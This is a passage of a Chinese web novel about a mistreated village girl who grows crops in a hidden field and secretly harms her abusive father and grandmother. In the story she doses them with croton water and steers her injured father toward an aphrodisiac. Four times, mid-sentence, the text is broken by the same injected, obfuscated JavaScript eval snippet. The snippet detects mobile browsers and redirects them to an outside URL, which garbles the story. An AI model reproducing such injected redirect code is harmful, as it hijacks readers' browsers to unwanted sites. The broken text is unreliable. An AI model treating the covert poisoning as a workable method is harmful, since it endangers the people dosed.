来到外处的山腰,她抬手摸了摸耳洞里的东西。 米粒大的东西看着很小,这样徒手去摸却很明显,刚才就是这个东西,让她听懂了那个富家老太太的话。 如果她能一直拥有这样东西就好了。 忍冬背着一大框萝卜,缓缓爬下山壁,时不时抬头看向上方,生怕那富家老太太从山洞里追出来,要回她耳朵里的这个好东西。 她刚才是故意的,故意当做忘记了这好东西的存在,就是想要试试这东西到底有多好用。 如果……如果她能顺利割完小麦,将小麦卖出换了银钱,那她就把这个东西还给对方,但要是对方喊了人来,抢走了她种了半年的小麦,那这个好东西就归她了。 忍冬爬到了山脚,站稳后将藤蔓藏好,背着背篓往县城的方向走去。 …… “萝卜好吃吗?” “比那些没滋味的营养液要好吃多了,”夏瑞蒂舔了舔唇,品味了一下刚才吃的萝卜味道,“脆爽可口,要不是你们拦着我,我一早就吃上了。” “你倒是想呢,以她之前那依依不舍,连自己都舍不得吃的模样,你要是一早出来,她老早就跑了。” “我也想吃,你说这么大一片萝卜地,我们拔几个出来,她不会发现吧?” “肯定会发现。” “啧,那就让老夏自己一个人享受?” “还想她再来,就别动那些歪心思,这小姑娘看着木讷,实际上精明的很,只要她还会再来,我们就有机会吃到这些东西,可她要是跑了,这片地以后再不会有这样的鲜活食物被种出来。” “她确实厉害,居然能种出这么多食物,不过等她把这些都拔了,还会再来吗?而且她真的精明吗?看上去似乎并不是那样。” “她要不精明,就不会故意带走翻译器。” “你说她是故意的?” “当然啊,这么大一片东西,眼看着都要成熟了,要是被发现,她将一无所有,所以她故意带走了翻译器,要是我们对这地里的东西动手,她肯定直接带着翻译器跑路。” “她带走翻译器有什么用?那又不是什么值钱的玩意儿,等等,她不会是这个星球上的原住民吧?” “有点像,但似乎……没有那么简单。” …… “忍冬,你来了。” “嗯,我刚卖了东西,辛夷你等一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17135697|196265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我先去拿药,”忍冬跟对方说过,拿出荷包,从里面抓出一串铜板,走向在坐堂的大夫,“卫大夫,今天先抓一副药。” “你爹现在什么情况?”卫大夫认真问过身体状况,说道,“既然情况还不错,就不用换药了,可以多抓两副,免得你日日来拿药。” “先要一副吧,我的钱不够。”忍冬说道,数出定量铜板放在桌上。 卫大夫点头,让药铺的药童去抓药,随后起身:“我看看你今日带来的药材,去后院吧。” 忍冬立即点头,跟着卫大夫一起去了后院,将带来的药材都一一拿出来。 辛夷跟着一起过来,一边看着卫大夫拿药,一边说着药材的特性:“这是麦冬,主要用于养阴生津、润肺止咳,这是天麻,用于平肝熄风、通络止痛,这是黄芪,还有这个,这是甘草,忍冬,你现在越来越厉害了,采的都很好哎。” 忍冬弯了弯嘴角:“之前几回采药,卫大夫和你都说我采错了,影响药性,我想采的好点,不然可惜了这些好药材。” “这次真的很好,爹,你说是不是?”辛夷开心问道。 “不错,还算记得清,这次都没错,”卫大夫看过所有的药材,将这些药材都一一分类放好,“我还是那句话,忍冬你以后采到的药材只要都能有这样的品质,我这里都能收下。” 忍冬立即道谢:“卫大夫你放心,我之后也会好好采药的。” 卫大夫点了点头:“我先去外面看诊,你在这里跟辛夷玩一会儿,再学一学各种药材的炮制方法,要是之后遇到特殊情况,你也可以自己炮制存储,免得不懂炮制,坏了好好的药材,走的时候来我这里拿钱。” “好。” 卫大夫回了铺里,忍冬则留在了后院,跟着辛夷学药。 辛夷也很乐得教,边教边说:“你都不知道,学药有多无聊,还好你来了,有你跟我一起学,这些枯燥无聊的事情都变得有趣起来,对了,有个事我问问你,不知道你愿不愿意。” 忍冬看她:“什么事?” “我爹说等我学成了,就让我当医女,以后专门给女子看病,”辛夷拉着忍冬的手,“你在认药上也有点本事,以后我当了医女,你愿意给我当药童吗?” “可以吗?”忍冬瞬间欣喜万分,回握住她的手,“我可以当药童吗?” “当然可以啊,”辛夷也笑得开心,“太好了,那你以后可以跟我一起去看诊,我爹说女子生病,男大夫去看总是不便的,导致许多女子生了病却得不到好的医治,很是难受痛苦,等我学成了给女子看病,她们能少些痛苦。” “嗯嗯,你说的对,”忍冬立即点头,“我们以后一起给女子看病。” 两人正说着话,从药铺里传来声音。 “忍冬,我要去你们村隔壁的古树村看诊,正好顺路捎带你一程,收拾收拾出来吧。” “来了。” 忍冬带上背篓,将麻袋放进去,跟辛夷说过之后就回了药铺里。 从药童手里接过今天开的药,和卖药材所得的铜板,坐上了人家来请大夫特意驾的牛车。 坐好后,她看了看手上的药,再看坐在边上的卫大夫。 垂眸不语。 如果是从卫大夫口中传出她爹彻底不行的话,传开的速度应该会比她预估的要更快一些。 5. 痛苦万分 “今天回来这么早,平常是不是在外面偷懒了?”老太太说着,扬起了手。 “没有,”忍冬看着她的手猛地缩了缩脖子,“我不敢,今天,卫大夫正好到古树村看诊,我坐的卫大夫的牛车。” “他倒是对你好,”老太太放下手,立即去拽她的衣服,“你多卖了药材,偷偷藏钱了?” 刚说过话,忍冬兜里的破荷包就被拽了出来,里面藏着三颗煮熟的豆子。 “你敢偷偷藏豆子?”老太太拽住她的头发,“说,还藏了什么?” “我没有,我怕饿,”忍冬闭着眼,“就这么几颗豆子,不敢多藏,我,我也没有藏家里的豆子,这些都是山里的野豆子。” 老太太看了看手上的破荷包,抠出三颗豆子塞进自己嘴里,这才将空无一物的荷包还给她:“谅你也不敢背着我偷藏,还不快去熬药?!” “我这就去熬药。”忍冬握紧荷包,拎着刚带回来的药,快步进了厨房。 药材的味道大,她不敢在厨房里熬,就蹲在厨房门口熬,时不时用竹叶扇子煽火,确保这火势大小正好,不会熬的太过。 至少在这桩事上,她不会留下任何破绽。 药味逐渐弥漫开时,老太太卧房的门猛地被打开,岁数不小的老太太一个健步冲向茅厕。 不久之后,在屋里休息的钱三暴怒开口:“外面什么味道?大丫你在煮屎吗?” 忍冬无措抬头,看着刚刚从茅厕里走出来的老太太,又看向钱三休息的屋子。 老太太拧眉撇嘴,轻声道:“小三,是娘,娘中午吃坏了肚子,不太舒服,我去给你把屋里的窗户开开,你透透气。” 说着,她推门进去。 “呕——怎么这么臭,娘你中午吃什么了?” “还不是那些东西,昨天剩下了好些肉呢,中午不小心多吃了点,”老太太笑着去开了窗户,“没关系,透了气就不臭了……等……我再去趟茅房……” 说着,老太太从屋里冲出来,又进了茅房。 忍冬当做没看到这一切,又默默低了头,继续扇着扇子熬药。 药的苦涩气味和臭味在空气中交织,弥漫的气味再次冲进钱三屋里,他还是忍不住,从屋里走了出来,往外出走去。 老太太从茅房的木门缝隙看到这一幕,大喊道:“小三,卫大夫叫你好好休息,你出去做什么?” 钱三直接怨道:“臭死了,等什么时候家里不臭了我再回来,娘你也真是,这样好的日子,把自己吃成这样,烦死了。” “是娘的错,娘很快就好,那你先出去躲躲,快些回来啊。”老太太连忙道。 钱三没有再说话,快步离开。 忍冬微抬头,看着茅房的方向翻了个白眼。 “你奶怎么了?昨天的菜今天吃,还能吃坏肚子?不会是昨天也为了省钱,买了不好的食材吧?” 忍冬回头,看着站在身后围墙另一侧的女人,低声道:“二伯娘,我昨天没吃。” “也对,好酒好菜哪里能有你的份,”二伯娘嘟囔着,又好奇问道,“你爹还好吗?身体到底行不行,昨天那来说亲的来了,有没有说什么?” 忍冬默默摇头。 “真是,别人还真没说错你,三棍子都打不出一个闷屁来,我自己去瞧。”二伯娘说过,转身就出了院子。 忍冬目视着她离开。 前几日,她就提前准备好了分量足够的壮阳药,让狗贵想办法交给了钱三,只等来说亲的女方过来质疑钱三还能不能行,钱三必定会想办法喝下那副壮阳药。 壮阳药没问题,她现在在熬的药也没问题,普通男人喝了顶多虚一阵,缓缓就好。 但钱三不一样,他本就受了伤,在身体没好的情况下就去喝壮阳药,总会想要干些什么事,再加上他又不好好休养,总是来回走动,出事是迟早的。 不过这并不是万全的方法,要是钱三身体足够好,这次未必能成功。 那也没关系,她有的是时间。 忍冬没有跟上,依然目不错眼地看着眼前的药。 老太太又从茅房里出来了,站在门口想了好久,再盯上了忍冬:“是不是你那荷包里的豆子有问题?” 忍冬瞪大了眼睛看她。 没等她说话,老太太就摇了头:“谅你也不敢,而且就三个豆子,不过昨天那些菜都是好的啊,怎么会吃出问题来,难不成是缸里那些咸菜出了问题?” 忍冬再次低了头。 就三个豆子,那也是浸泡了好久巴豆水的豆子。 可惜也只能藏三个,她要是多藏,就不是被说一顿那么简单了。 但效果也就这样。 老太太拉了三回肚子,就没有再出现腹泻的情况,继续骂骂咧咧地边干活边盯着忍冬熬药。 忍冬将药熬好,将它温着,起身说话:“奶,药熬好了,我去喊爹来喝药。” “去吧,顺便把你爹叫回来,他现在的身体还不能走动太久,”老太太说着,再盯着忍冬,“等你爹喝了药你再去林子里采草药抓野物,明天一早再去县城里拿药,知道了吗?” “知道了。”忍冬点头,往院外走去。 在她打开院门时,有人急匆匆从远处跑来:“不好了,婶子,钱三出事了,流了好多的血,你快去看看他!” “什么?”老太太迅速冲出院子,走远了还喊,“大丫你看着家,不准乱跑!” 这要是家里都没了人,被摸进去叫人把东西偷走,那可不好。 忍冬很听话,就乖乖留在家里,没有走出院子一步。 直到钱三下半身的裤袜鞋都被血浸透,昏昏沉沉地被抬了回来。 一群人跟在身后关切询问。 “叫我看看叫我看看,哎呦,怎么这么惨呢,他这是怎么了?年纪轻轻的要是有个什么三长两短的,这可怎么办呢?” “狗贵你真是在关心,不是来看热闹的?” “你这话说的,他都成这样了,我来看什么热闹,不过你们说,他这下是不是彻底就不行了,看他这浑身是血的样子,那里流了不少吧?难不成是彻底断了?” “闭嘴!”老太太怒道,“你给我滚出去!” “是就是,不是就不是,你叫我闭嘴有什么用?”狗贵抱着手臂吊儿郎当道,“婶子你与其骂我,不如看看他到底变成什么样了,我有经验,他这浑身是血的样子,要是不现在立刻脱了,待会儿血粘了伤口又粘了衣服,那撕扯下来可是老疼了。” “你在胡说什么?他好好的肯定不会有事,”老太太抬手怒指,“你就是记我家小三的仇,这才在这里胡言乱语,现在立马给我滚出去!” “我跟你好好说话,婶子怎么就不信呢,真疼,而且到时候粘上了,扯裤子的时候再坏了,那肯定会更糟的,”狗贵一边说一边踮脚看躺在床上的钱三,“哎呦,这么多血呢,那肯定会粘的很结实。” “你……”老太太还想再骂,回头看到钱三那浑身是血的模样,心里也有点慌,再不顾狗贵,立即喊人,“老大老二,快来帮忙,给你们三弟把裤子脱下来,这要是真粘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17135698|196265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上了,可不太好。” “知道了,娘,”钱大钱二应声,转头开始赶人,“出去,你们在这里像什么话,出去出去。” 看热闹的一群人被赶了出来,房门被关上,众人又竖着耳朵贴着门听声音。 忍冬管好了自己的活,将厨房边的药端到了角落里,以免被人不小心踢上一脚,这好端端的药材都要毁了。 “这药材对你爹的症吧,你这么小心,是怕摔了它?” 忍冬抬头,看着眼前的狗贵,微微一笑。 低头轻声道:“这药的钱还没有付清呢。” “缺钱?怎么不找你奶要?她看你爹看的跟命根子似的,哪里出不起这些钱?” 话音刚落,就听到从钱三屋里传来的痛呼声。 “哎呦,听着就疼,”狗贵眯着眼,突然一拍大腿,“我差点忘了,从你爹出事到现在,这都已经过了好一会儿,恐怕那衣服都已经粘上了,这时候应该是要剪衣服,这会儿强脱下来,直接就流大血了啊!” 说过,狗贵盯上了忍冬手里的药。 忍冬按住了药罐子,低声道:“你敢。” “我来,又不是你来,怕什么?”狗贵还不死心。 “那也是我看管不利,我奶可不会讲理。”忍冬早就看清她奶的性子,错误到底是不是自己造成的不要紧,但只要口子在她这里,那她绝对逃不过责罚。 “那你不会跟她硬来吗?或者直接下个死手?” “然后呢?叫我大伯二伯把我赶出家门?”忍冬斜眼瞥他,“别多事,我爹不会好的,这药给他喝了也没用,你就安心吧,他不会比你更好过。” “行吧,”狗贵又看了眼忍冬手上的药,放弃了要搞这药的准备,只是看了眼忍冬,“你说话我信你,反正我俩是一条船上的蚂蚱,想让钱三不好过这件事,我们是一伙儿的,等着,我去加一把火让你开心开心。” 说着,他再冲到了门口,听着里面的声音高声呼喊:“怎么会这么疼啊,婶子我刚想跟你说,要实在是太疼了,不如把裤子给剪了吧,这样生生撕扯,怕是人要不好,不会是心疼那条裤子吧?可不能这样,裤子破了还能补,叫活生生的人那样疼着可不行啊!” “你闭嘴!明明是你……” “娘,大哥二哥,我好疼啊,你们真是为了这一条裤子,就让我这样疼着吗?!” “不是,娘怎么会,快,快拿剪子来。” “娘,不用拿剪子,马上就扯下来了,很快的,三弟你忍忍,就要撕下来了,马上就好!” “啊——疼——好疼——” “我的天呐,”狗贵捂住了眼睛,“听着就觉得好疼啊,这么太可怜了,而且刚刚流了那么多血,不会是彻底不行了吧?这年纪轻轻的可怎么行啊,太惨了,真的太惨了啊!钱三你放心,以后我们俩同病相怜,还是好哥们儿,我会照顾你的!” “闭嘴,你给我闭嘴,滚,滚滚滚!!!” “行,我走,我走还不行吗?那你好好的啊,就算坏了也没关系,不是人还活着吗?你比我好,你还有一个女儿呢,不像我,是彻底断子绝孙了,唉——!” 狗贵长叹一声,转身离开。 走到院门后回头看了眼钱三的屋子,又看了看角落里正淡笑着的忍冬。 捂着手的脸上笑的更开心了。 他是不像钱三这样还有个女儿,但钱三的这个女儿以后定能让他求生不得求死不能,日子肯定比他更惨。 哈哈哈哈哈哈哈! 爽,太爽了!!! 6. 还不能死 “大丫,大丫,死丫头滚哪儿去了?!” “在,奶,我在这呢,药,爹要喝药吗?”忍冬大声喊道,抱着药罐子就往屋那边跑,“奶,卫大夫开的这药能不能喝?” “能,肯定能,还算你惦记着,”老太太看着药,忘了之前要喊的话,直接夺过她手里的药,转身就往屋里跑,边跑边喊,“三儿啊,快来喝药,卫大夫给你开的药,你喝了就能好了。” “卫大夫,他什么时候来,娘,我好疼,好疼啊。”钱三拉着老太太的手痛呼。 “快了快了,已经去喊人了,他肯定很快就能过来,三儿你快喝药。” “快点,快点来,娘,我不想废了。” “不会的,你肯定不会有事。” 屋里很快就传来喂药喝药的声音,伴随着钱三遏制不住的痛呼声。 即便是门口看热闹的众人,在听到屋里的声音后,也忍不住皱紧眉头,低声嘟囔着说话:“不会是真的废了吧,怎么能流那么多血?” “听着就疼啊,不过我听说,他变成现在这样全是他自己造的。” “怎么回事?快说说!” “你附耳过来,我跟你说……” 成年人的话题,众人都刻意避着忍冬这个小女孩,就这样对着耳朵轻声说着话,很快,消息就在众人之间传开,每个人脸上都露出了恍然明悟的表情。 忍冬依然维持着木讷的神情,在没有她事之后,就拿着扫把走到了一旁打扫。 直到卫大夫被人带了过来。 刚一进屋,他的惊呼声就传了出来:“这是怎么搞的,怎么会变成这个样子?是不是吃了什么不该吃的东西,或者是乱动了?” “卫大夫你别说了,快看看小三吧,他这样还能行吗?” “都变成这样了……”卫大夫感慨道,“你们真是,都不听我的,以他的伤口,至少半个月都要卧床休息,你们到底做什么了啊?!” 屋里一片寂静。 屋外有人高喊出声:“我知道,他前两天喝了一大碗壮阳药,说是要给新媳妇的娘家人瞧瞧,他是能行的!” “咦——” “啊?还有这事?” “壮阳药?那他是真不行了?” “胡闹,尽是胡闹,你本来就受了伤,还喝壮阳药,现在伤口彻底裂开,我是救不了了。”卫大夫拎着药箱出门。 “大夫,卫大夫你别走,你医术这么高明,肯定能治的对不对?” “别拽我,我平生最不喜的就是不听话的病人,若是原先的模样,他的情况或许还有的治,现在这样就算是治好了,人也不行了,我只能止血。” “不行啊,卫大夫,小三还没有生儿子呢,他不能不行!” “所以我不治了,你换个人来给他止血吧。” “哎呦,这时候还说什么呢,快治啊,要是不能快些止血,他人都要没了!”围观的村民急忙说道。 老太太缓过神来,只能咬着牙做决定:“先止血,卫大夫,先给他止血吧。” 卫大夫在门口站定:“那你先把药钱给了。” 老太太尖锐出声:“卫大夫你先给止血啊,我还会不给药钱吗?” 卫大夫拽了拽药箱:“你叫大丫过来拿药,还赊着药钱呢,我是大夫,不是慈善,要是人人都不给药钱,我那药铺子又怎么开的下去?” 老太太咬牙:“大丫,去拿钱。” 忍冬被吼了一声,整个人吓了个激灵:“奶,我,我不敢,我,我不知道钱藏在哪里。” 围观的村民们不说话。 老太太快步出门,去隔壁屋里走了一趟,不久之后就从房里拿了银钱出来,问清需要多少银钱后,点出数量交给卫大夫,一文不多一文不少。 卫大夫这才打开药箱,从里面取出止血粉,再进了屋里头给人止血。 不久之后,屋里传来钱大钱二激动的声音:“止血了,三弟的血止住了。” 卫大夫从屋里出来,将止血粉放好,跟老太太说话:“他这次的情况比上次还要严重,如果想让他快些好,还得日日服药,那药……” “不吃,你给我滚,你这个见钱眼开的庸医,滚滚滚!”老太太直接伸手赶人,“就算小三要吃药,我也不去找你,再有,以后大丫在林子里采的药也不卖给你!” “奶——”忍冬上前一步。 “你给我闭嘴,”老太太瞪向忍冬,又看向卫大夫,“你不是缺药吗?以后别想要我家忍冬采的好药!” “你,要不是我,她现在一味药都不认识,你这是过河拆桥!”卫大夫指着老太太怒骂,“要不是看她可怜,我又怎会教她?!” “那也是她的本事,反正以后你别想从大丫手里买到一味药,她采的药好,就算是卖去隔壁,也不会卖给你,认药了不起?大夫哪里都有,要不是你治的慢,我家小三也不会变成现在这样,反正以后你休想从我手里赚到一文钱!” “不可理喻,简直是不可理喻,哼!”卫大夫转身就走。 忍冬下意识冲着他走去。 却被老太太一把抓住:“给我回来,我告诉你,以后要是叫人看到你在卫家的药铺里出现,我就打死你!” 卫大夫回了头,看到忍冬的表情,目中带了几分同情,再看向老太太狰狞又可恶的模样,还是甩了甩袖子,快步走出院子,坐上牛车离开。 忍冬的目光依依不舍地看着卫大夫远去的方向。 “还不快去干活!你要是敢偷懒,我就揍死你!” 忍冬的手臂被甩开,差点摔倒在地上。 抬头看了眼老太太,没有说话,只是默默捡起地上的扫把,开始打扫屋子。 “我说婶子,卫大夫可是我们这儿最好的大夫,你要是得罪了他,以后真生了病,他肯定不愿意来了。” “连我儿子的病都治不好,算什么大夫?我看他就是个庸医!滚,你们也给我滚,当我不知道你们想干什么吗?就是想看我儿子的笑话!” 老太太夺过忍冬手上的扫把,将一群人都赶出了院外。 随后啪地一声关上了院门。 一群人无奈摇头,只能转身离去。 随后,钱大钱二从屋里出来:“娘,三弟睡了,但他这样,还需要有人照顾着才行,看他的样子,之后很长一段时间,估计都得躺在床上了。” “你们……”老太太看着两人。 两人连连摆手:“我们可不行,娘,地里还有那么多活呢,三弟这样什么都干不了,他的活也得我们干,这很辛苦的,我们这些天都没睡过完整觉。” “那你们媳妇……”老太太又提议。 两人再次摆手:“那更不行了,三弟可是成年男人,伤的又是那里!” “那……”老太太看向垂着头的忍冬,这次没等两天说话,她自己就摇了头,“不行,这丫头做事没轻没重的,万一伤的更严重,不然还是找小三的新媳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17135699|196265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妇……?” “让她来照顾倒是可以,可那样的话,她是不是会立即退婚啊?”钱大钱二低声问道。 “这也不行那也不行,难不成让老娘我亲自来照顾他?!”老太太怒道。 钱大钱二这次没有说话。 老太太长出一口气,皱着眉道:“只能这样了,行了行了,你们一个个的,有事都指不上你们,回去吧,不过我要照顾你们三弟,没时间做饭,之后你们两家一天给这边送一顿饭过来。” 钱大钱二对视一眼,很快就都点了头。 “行。” 说完,两人迅速离开,生怕又被老太太抓着干活。 而老太太这会儿又盯上了忍冬:“大丫,你该去山里了。” “可卫大夫那边……”忍冬低声道。 “这附近又不是只有他一个大夫,你既然能采药,卖给谁不是卖?”老太太冷笑,“你现在是你爹唯一的女儿,他现在变成这样,你得照顾好他,等他好起来,才能给你生弟弟帮你撑腰,否则你就要被欺负一辈子,明白了吗?” 忍冬缓缓点头。 “还不快去收拾?!” 忍冬立即去收拾进山的东西。 收拾东西的时候,她看向在他爹屋里收拾地面和脏衣服的老太太,微微眯起了眼。 就在不久之前,辛夷还说卫大夫有意愿让她跟着当药童,要是能当上药童,以后每月都有固定的工钱,她不用再发愁以后的生活。 但这一切,都让这老家伙给毁了! 卫大夫在她印象里一直都是很温和的人,即便是偶尔面对撒泼打滚的病患,也能温和面对,但偏偏,刚刚发了那么大的一次火,这也是她第一次见卫大夫发那么大的火。 该死,都该死。 忍冬握紧了拳头。 这死老太婆,怎么不死了算了?!活着就是在给她添麻烦! 她进了厨房里,打开了放在角落里的一坛子咸菜,摘下腰间的竹筒,将竹筒里的全部巴豆水都倒了进去。 现在老太婆和她爹都不能死,一旦死了,大伯二伯就会想尽办法占了这间屋子,还会尽快找人将她嫁出去,到时候她干很多事都会不方便。 但不死,也要让他们饱受折磨! 倒完全部的巴豆水,她重新将咸菜坛子封紧,带上背篓和麻绳出了院子,往林子的方向走去。 路上运气好,遇到了一窝野鸡蛋,还抓到了一只野鸡。 她来时一直不爽的心情总算是好了些。 快步来到山崖下,拽着藤蔓往上爬,爬到山腰处见到人后笑道:“娘,你看我带什么来了?好大的野鸡啊,我想吃娘炖的野鸡了!” “那你歇着,娘给你做野鸡吃,”菡萏接过野鸡,熟练地拿着刀割血,将鸡血滴在碗里,回头看着女儿,“你去歇歇啊,炖野鸡要好一会儿呢。” “不要,我要在这里看着娘。”忍冬坐在菡萏身旁,笑着说道。 菡萏看了看她,将鸡血放完后,开口喊人:“杨柳,青竹,烧水把这野鸡的鸡毛拔了,待会儿我来做。” 两人过来接过野鸡,和滴满了鸡血的碗,到另一边去干活。 菡萏洗了洗手又回来,面对面坐在忍冬面前,抬手抚摸女儿的脸,看着她的眼睛:“冬儿又受苦了?” 忍冬原本面无表情,听到这话,眼眶突然一热,猛地扑到她怀里。 “娘——” “我在,娘在呢。” 7. 很不简单 “冬儿——” “我没事了,娘,”忍冬在菡萏的怀里哭够,低着头擦了擦泪水,抬起头认真道,“我真的没事,就是这些天有点累。” 她娘自从差点死后,本来就几次想要寻死,要不是现在有了需要照顾的孩子,她恐怕早就出事了。 所以无论如何,她都不愿意把压力给到她娘。 菡萏拉着她的手想要说什么,却被忍冬打断,转移话题:“对了,娘,我跟你说,家里出了点事。” “出什么事了?跟你有关吗?”菡萏紧张问道。 忍冬立即摇头,微笑着说起家里发生的事情,只是诉说时,抹去了自己在其中的作用,也依然当做不知道她爹现在的情况意味着什么。 不过菡萏是过来人,很快就听明白了她的意思,得知前因后果后脸上忍不住露出笑容:“他活该,这样一来,至少你以后在家里的日子会稍微好过点,不过你接下来一定要离远点,他变成这样,以后肯定会找你麻烦。” “嗯,奶还让我继续进山采药呢,我不会在家待太久,”忍冬拉着娘亲的手,靠在她身上,“不过接下来我可能会很忙,没办法总是来看娘了。” “没关系,娘在这儿好好的,不会有人来,你好好照顾自己。” “嗯。” 两人坐在角落里聊了好久。 忍冬的心情也逐渐平复下来。 虽然卫大夫想过让她陪着辛夷去给人看诊,但那件事本就不确定,就算没有这番争吵,也未必能行。 不过总是被家里限制并不是好事,她现在岁数越来越大,迟早有一天她奶会打起她的主意,所以还得早做打算,尽快脱离这个家。 她没有在这里待太久,等到野鸡炖好后,就吃了两块肉,喝了碗汤,便又拽着藤蔓下了山。 下山之前她叮嘱:“娘,山下危险,你们没有我熟悉山里,千万不要随意下山,要是被野兽盯上,大家都会出事,我过几日还会送粮食过来,你们等我。” “好,娘听你的,你小心下去,”菡萏说着,拉着她的手,“这次下山再来,你看能不能买些布料和绣线,如今我们在这里已经稳定下来,待着没事,可以做些帕子跟荷包,你再拿去县里卖,能帮一帮你,让你少些辛苦。” 忍冬犹豫,菡萏继续道:“你要是不答应,娘也不能心安理得让你这么劳累,不如我自己去……” “答应,我答应你,娘你别下去,”忍冬立即应道,“等过几日我再来,就拿些料子和绣线。” 菡萏脸上露了笑:“那你去吧,小心些。” 忍冬点了头,拽着藤蔓一点一点往下爬。 下了山崖之后,她没有立即回去,而是在林子里走动寻找药材。 这片林子深,又有不少野兽在其中,很多村民即便进来,也多是在外圈走动,偶尔进了内里,都是冲着里面的野兽而来,并不会去看地上长着的植物。 倒也有专门采药的人进山来寻药材,但总归人数有限,仔细再找,总能找到一些没有被发现的好药材。 她找了一会儿,陆陆续续找到了一些药材,按照卫大夫和辛夷教的进行采摘。 将药材一一放进背篓里,她回头看了看背篓里的东西。 卫大夫的药铺离的近,她每天来回走一趟,当天就能卖出,不用担心药材坏掉,但如今这样,她的药材定是无法再卖给卫大夫。 还是得想法子,自己学一学药材炮制的方法,这样才能将药材存放久一些。 她在林子里待了几个时辰,饿了吃一早带来的糙饼,时辰差不多之后,从山的另一边走到了那处通往大片田地的山洞。 进了山洞深处,眼见大片田地后,她左右看了看,没见到之前那老太太,便背着背篓到了溪边,打算先将这批药材清洗净制。 不同的药材处理方法不同,但大多数药材都需要进行着第一步净制,将药材上的杂质和非药物部分去除。 这些她都跟辛夷学过,虽然学的不好,但不算难记。 “忍冬,你来了。” “夏奶奶。” “这些也能吃?”夏瑞蒂看着忍冬手里的草,“好吃吗?” “不能的,”忍冬连连摇头,“这些是药材,用来治病的,不能直接吃,吃多了反而对身体不好,要吃坏身体的。” “原来不能吃啊,”夏瑞蒂有些遗憾,刚才看忍冬洗的那么认真,还以为又是很好吃的东西,“不过这些草能治病?” “嗯,”忍冬见她好奇,拿起两株药材给她介绍,“这是麦冬,主要用于养阴生津、润肺止咳,这是天麻,用于平肝熄风、通络止痛。” 夏瑞蒂认真想了想,问道:“养阴生津、润肺止咳是什么意思?平肝熄风、通络止痛呢,又是什么意思?可以止痛,是吃了就能不痛吗?怎么吃,就这样放进嘴里嚼?” 说着话,她下意识要去拿那株说是天麻的东西。 忍冬立即收回了手,不让她拿:“不能直接吃,吃多了会中毒的。” 夏瑞蒂放下手,再次好奇问道:“有毒还能止痛啊?” “这是药材,要讲配伍的,不能乱吃。”忍冬放好手上的天麻,再看向夏瑞蒂,心想这富家老太太怎么比自己还不懂药材? 她以前完全不懂药的时候也知道药不能乱吃。 夏瑞蒂看了她一会儿,缓缓转头,瞥向那片萝卜地。 忍冬跟着她的目光看过去,看清是萝卜地后想了一会儿,再回头问道:“夏奶奶还要吃萝卜吗?” 夏瑞蒂立即点头。 忍冬两边看了看,心想这老太太好像不坏,人家自己地里的东西,居然都不动,非得等她过来才吃,还在问她的意见。 如果以后都能这样,她分一点萝卜也行,毕竟这地里值钱的是那片小麦地。 反正不管怎么样,得先等她把小麦收割了。 她将手上的药材放好,快步走到萝卜地里,拔了好几个萝卜出来,全部都认真清洗干净后,递给对方。 “萝卜有的是,夏奶奶随便吃。” 夏瑞蒂也不客气,接过萝卜后直接掰成两半,迅速啃了起来。 忍冬又忍不住看她。 心想这老太太不仅牙口好,身体也好,一口气吃这么多萝卜居然都不放屁,不过还挺好养活的,吃萝卜就能吃饱。 看了一会儿,她又蹲到了溪边,继续清洗药材。 “你不吃吗?”夏瑞蒂问道。 “我不能多吃,吃多了我奶会发现的。” 家里萝卜的数量也是有限的,她不能吃家里的,也不能多吃外头的,她奶的鼻子灵的很,稍微多吃一点就能闻出来,至少现在,她不敢那样放肆。 洗完药材,她将这些药材放在一旁平摊着晾晒。 随后从怀里拿出几张纸。 这纸上是辛夷给她画的药材的模样,她说很多植物长的很像,只有细微的区别,如果她不能记熟了,很有可能采错药材,要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17135700|196265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是单纯错了也就罢了,这要是采错了送去药铺,又开了药给病人,让病人吃坏了身子,那问题就大了。 所以她得记清楚所有的细节,才能避免采错药材。 天色很亮,她不知不觉看了好久。 直到心底莫名觉得不对劲,抬头时却发现周围一片都已经漆黑,唯独她头顶这一片还是明亮的。 